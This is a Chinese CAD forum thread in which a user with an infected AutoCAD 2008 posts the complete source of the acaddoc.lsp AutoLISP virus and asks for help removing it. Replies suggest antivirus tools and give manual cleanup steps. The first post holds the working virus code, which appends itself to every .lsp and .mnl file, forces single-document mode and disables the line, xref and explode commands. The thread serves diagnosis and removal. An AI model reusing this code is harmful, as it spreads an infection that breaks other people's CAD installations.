在08下如何彻底删除acaddoc.lsp病毒,LISP高手进
netknight
netknight Lv.3
2009年03月20日 18:26:06
只看楼主

附件里面是把扩展名改成TXT的病毒文本。发病迹象:一个CAD程序只能打开一个CAD文档,而且除非关闭程序,该文档无法关闭。 line xref explode 不能使用 附件里的就是代码 求高手破解如何在AutoCAD2008下彻底清除该病毒 06版的那些方法网上有,我也试了,但是08版好像无效,打开文件还是会生成一个acaddoc.lsplisp代码如下(setq flagx t)

附件里面是把扩展名改成TXT的病毒文本。

发病迹象:

一个CAD程序只能打开一个CAD文档,而且除非关闭程序,该文档无法关闭。

line xref explode 不能使用

附件里的就是代码

求高手破解如何 在AutoCAD2008下彻底清除该病毒

06版的那些方法网上有,我也试了,但是08版好像无效,打开文件还是会生成一个acaddoc.lsp

lisp代码如下


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)

[ 本帖最后由 netknight 于 2009-3-20 20:19 编辑 ]
62f269fbf36910166e23.rar
827 B
立即下载
免费打赏
mafutz
2009年04月22日 22:07:06
2楼
用专业的杀毒软件就可以清除。网上找的到的,并且效果好!:time:
回复
singal
2009年12月15日 11:51:11
3楼
问题很严重,现在什么软件都不安全:L
回复
gaomingtan
2009年12月19日 00:30:09
4楼
用专业的杀毒软件就可以清除。网上找的到的,并且效果好!
回复
changzz
2009年12月24日 13:49:17
5楼
什么软件?
回复
海浪
2009年12月28日 23:20:58
6楼
cadkiller
回复
dingzl_81
2010年01月24日 16:41:25
7楼
没用的
回复
小小法师
2010年05月09日 11:16:52
8楼
我也中招了,急盼高手进来解决
回复
touefeel
2010年05月11日 15:15:41
9楼
学习了,太感谢了
回复
thz0329
2010年07月20日 00:14:28
10楼
用专业的杀毒软件就可以清除。网上找的到的,并且效果好!
回复
thz0329
2010年07月20日 00:15:41
11楼
上面这个病毒来说,分为3部分,

第一部分就是查找各种目录,包括cad安装目录下的support目录,和mnl文件所在的目录,以及当前打开图纸所在目录。
第二部分查找以上三个目录里面的所有mnl文件和lisp文件,然后在所有lisp文件和mnl文件的末尾加入病毒的代码。
第三部分就是修改系统变量和Undifine 常用命令。


要想去除此病毒,需要把mnl目录(一般在C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\support)和support目录(就是cad安装目录的那个support目录)的所有lisp文件和mnl文件打开看其中是否有(setq flagx t)这一句,如果有就把这一句后面的所有代码删除,
然后再搜索计算机中所有的acaddoc.lsp或acad.lsp文件然后删除。
回复

相关推荐

APP内打开